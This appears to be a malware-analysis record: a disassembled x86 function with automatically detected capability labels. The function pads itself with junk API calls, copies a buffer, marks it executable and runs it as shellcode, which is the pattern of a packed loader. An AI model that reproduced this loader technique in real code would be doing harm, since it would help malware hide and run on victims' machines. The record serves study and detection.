Function at 0x405c20
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84c
mov eax, dword [0x808004]
xor eax, esp
mov dword [esp + 0x848], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x405c59
mov eax, dword [0x809944]
mov dword [0x84637c], eax
cmp dword [0x845ff4], 0x3c
jne 0x405c65
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x405c47
cmp dword [0x845ff4], 0x7c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x405cf5
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push str.Huhadidek
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea edx, [esp + 0x20]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call esi
push ebx
lea eax, [esp + 0x54]
push eax
push str.ruxasusodowigofimetexazacomapebomizuxeviyofoxe
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
cmp dword [0x845ff4], 0x2d
jne 0x405cec
push ebx
push ebx
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
call fcn.004010b9
add esp, 4
cmp dword [0x845ff4], 0x110a
jne 0x405d5d
push str.Buyezinanax_babotuxavofex_copujen
mov dword [0x845fe8], ebx
mov dword [0x845fec], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.wudomizegotog
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
call fcn.004059c0
xor ecx, ecx
cmp dword [0x845ff4], ebx
jbe 0x405d9b
lea esp, [esp]
mov eax, dword [0x84637c]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x845d18]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x845ff4]
jb 0x405d70
push str.msimg32.dll
call esi
mov ecx, dword [0x845ff4]
mov edx, dword [0x845d18]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00405b90
call fcn.004059e0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea eax, [esp + 0x28]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405df8
cmp dword [esp + 0x30], 0xf5bed7
jne 0x405e01
inc esi
cmp esi, 0x1ece7a52
jl 0x405dd5
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x405e1d
call fcn.004059b0
cmp dword [0x845ff4], 0x3dc
mov dword [0x845d1c], 0x8e46a6f0
jne 0x405e57
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.racewuhaditojiberemowihocodijowapavogusudunafugebiwijohabodasiwevutiyobu
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405e10
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret